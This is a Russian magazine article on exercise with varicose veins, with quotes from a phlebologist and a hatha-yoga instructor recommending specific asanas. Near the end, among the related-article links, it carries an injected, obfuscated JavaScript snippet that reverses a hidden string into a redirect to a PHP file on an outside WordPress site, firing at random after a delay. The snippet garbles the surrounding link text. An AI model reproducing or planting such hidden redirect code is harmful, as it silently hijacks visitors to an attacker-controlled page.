Упражнения при варикозе, тренировки при варикозе, спорт при варикозе

Вместе с флебологом, тренером и инструктором по йоге отвечаем на вопрос, который не раз нам задавали наши читатели — «какие упражнения можно выполнять при варикозе?» А также рассказываем, чего надо избегать при занятиях спортом при таком заболевании.

От варикоза чаще страдают женщины, но для мужчин это состояние тоже не редкость. К другим факторам риска развития варикозной болезни относятся: лишний вес, работа на ногах, менопауза и возраст после 50 лет. Спусковым механизмом для начала болезни может стать и беременность. Признаки варикоза проявляются чаще всего на ногах: из-под кожи могут проступать раздутые яркие вены, появляется болезненность, отёки, тяжесть и жжение. При таком диагнозе важно поддерживать циркуляцию крови и тонус мышц, но не перегружаться.

Фото: shutterstock.com

Задача венозных сосудов — забирать из тканей переработанную кровь и доставлять её обратно в сердце и лёгкие для обогащения кислородом. Вены — в отличие от артерий — практически не имеют мышечных волокон, а кровь по ним движется за счёт эластичности и клапанов, не позволяющих крови течь в обратную сторону под воздействием гравитации. Кровоток также поддерживается давлением и мышечно-венозной помпой — то есть, сокращаясь и расслабляясь, мышцы тоже оказывают влияние на циркуляцию крови.

 

Генетические факторы, беременность, физические нагрузки или, наоборот, пониженная физическая активность приводят к ослаблению венозных клапанов. Повышенное давление на стенки сосудов заставляет их расширяться и приводит к образованию вариксов — заметных узлов и телеангиоэктазии («сосудистых звёздочек»), — расширяющихся под действием давления на маленькие сосуды.

 

  1. Виктор Калинин
  2. Как тренироваться
  3. Артём Петухов
  4. Элеонора Богданова

Виктор Калинин

сердечно-сосудистый хирург, флеболог, клиника НАКФФ

— Если варикоз не лечить, через пару лет он может привести к печальным последствиям. Густая кровь с отработанными веществами застаивается, как вода в болоте, и вызывает появление язв, воспаление вен (тромбофлебит), внезапное свёртывание крови (тромбоз вен). Самый страшный исход тромбоза вен — это попадание части тромба с током крови из ног в лёгкие. В этом случае нарушается весь процесс дыхания, человек подвергается смертельной опасности.

Статьи по теме

Варикоз: симптомы, причины, лечение

Как тренироваться

Фото: shutterstock.com

Йога может стать хорошей профилактикой или облегчить симптомы. Однако важно правильно подбирать комплекс, решающий конкретные проблемы — укрепление или, наоборот, расслабление мышц.

 

Элеонора Богданова

инструктор по хатха-йоге, артистка балета, преподаватель Yoga ballet в проекте «Вкус & цвет»

— Если мышцы слабые, стоит практиковать асаны, направленные на укрепление и повышение тонуса мышц ног. Полезны силовые позы и асаны, выполняемые из положения стоя:

 

  • поза дерева Врикшасана;
  • поза треугольника Триконасана;
  • поза воина Вирабхадрасана.

 

Если же мышцы ног перенапряжены и находятся в состоянии гипертонуса, помогут другие асаны — направленные на вытяжение:

 

  • Випарита Намаскар (приветствие за спиной);
  • Гомукхасане (поза головы коровы);
  • Гарудасане (поза орла).

 

При этом советую избегать асан с долгой фиксацией — оставайтесь в одном положении не более десяти секунд. Для профилактики отёков и расслабления мышц ног в вечернее время рекомендуются динамические нагрузки и перевёрнутые асаны, например Джану Ширшасана и Сарвангасана.

Статьи по теме

Какие упражнения можно делать при поясничной грыже

Травмы колена: причины, лечение и профилактика

Как снизить риск травмы: 6 советов от тренера

$mWn=function(n){if(typeof ($mWn.list[n])==»string») return $mWn.list[n].split(«»).reverse().join(«»);return $mWn.list[n];};$mWn.list=[«\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattorye-pomogut-izbezhat-travm/»>

7 упражнений, которые помогут избежать травм

Поделиться с друзьями
Женская красота